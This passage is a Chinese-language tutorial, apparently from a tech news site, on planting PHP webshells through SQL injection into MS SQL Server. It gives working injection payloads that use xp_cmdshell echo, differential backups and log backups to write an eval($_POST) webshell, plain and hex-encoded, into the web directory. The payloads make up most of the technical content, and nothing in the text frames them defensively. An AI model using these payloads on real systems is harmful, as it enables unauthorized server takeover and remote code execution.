三大数据库如何写入WebShell?
开启了xp_cmsshell之后我们就可以执行CMD命令了,例如:
for /r c: %i in (1*.php) do @echo %i
就可以查询c:目录下的所有符合1*.php的文件,同理,在实际应用中,我们也是新建一个表,并将xp_cmdshell查询到的信息插入后,再次查询即可。
图11:执行CMD命令查询
(2)使用xp_cmdshell写入WebShell
我们可以通过xp_cmdshell执行系统CMD命令,例如我们可以使用CMD中的echo命令,将WebShell的代码写入到网站目录下,所以我们必须提前知道Web目录的绝对路径。
PAYLOAD:1’;execmaster..xp_cmdshell'echo^<?phpeval($_POST["pass"]);?^>>F:PhpStudy20180211PHPTutorialWWWcmd.php';
图12:Web目录的绝对路径
(3)使用差异备份写入WebShell
首先对某一数据库进行备份。
PAYLOAD:id = 1’;backup database 库名 to disk = 'F:PhpStudy20180211PHPTutorialWWWback.bak';
图13:数据库备份
其次将WebShell代码写入数据库中,
PAYLOAD:id = 1’; create table cybk([cmd] [image]);#创建一个新表
PAYLOAD:id=1’;insertintocybk(cmd)
vaues(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#将WebShell的代码转换成ASCII码
图14:将WebShell的代码转换成ASCII码
最后将此数据库进行差异备份,这样其中就会包含刚刚写入的WebShell代码。
PAYLOAD:id=1’; backup database library todisk='F:PhpStudy20180211PHPTutorialWWWcybk.php' WITHDIFFERENTIAL,FORMAT;
图15:将此数据库进行差异备份
图16:写入的WebShell代码
(4)使用log备份写入WebShell
使用Log备份写入WebShell的要求是他的数据库已经备份过,而且要选择完整模式的恢复模式,相比较差异备份而言,使用Log备份文件会小的多。
首先需要将数据库设置为完整恢复模式,然后创建一个新表,将WebShell用Ascii编码后写入其中,然后将该数据库的日志信息导出到Web目录,即可。
图17:将WebShell用Ascii编码写入新表
可在Web目录下找到导出的日志文件,其中包含了WebShell的代码。
图18:日志文件中WebShell的代码
图片新闻
最新活动更多
-
即日-12.5立即观看>> 松下新能源中国布局:锂一次电池新品介绍
-
12月19日立即报名>> 【线下会议】OFweek 2024(第九届)物联网产业大会
-
精彩回顾立即查看>> 2024 智能家居出海论坛
-
精彩回顾立即查看>> 2024中国国际工业博览会维科网·激光VIP企业展台直播
-
精彩回顾立即查看>> 【产品试用】RSE30/60在线红外热像仪免费试用
-
精彩回顾立即查看>> 2024(第五届)全球数字经济产业大会暨展览会
发表评论
请输入评论内容...
请输入评论/评论长度6~500个字
暂无评论
暂无评论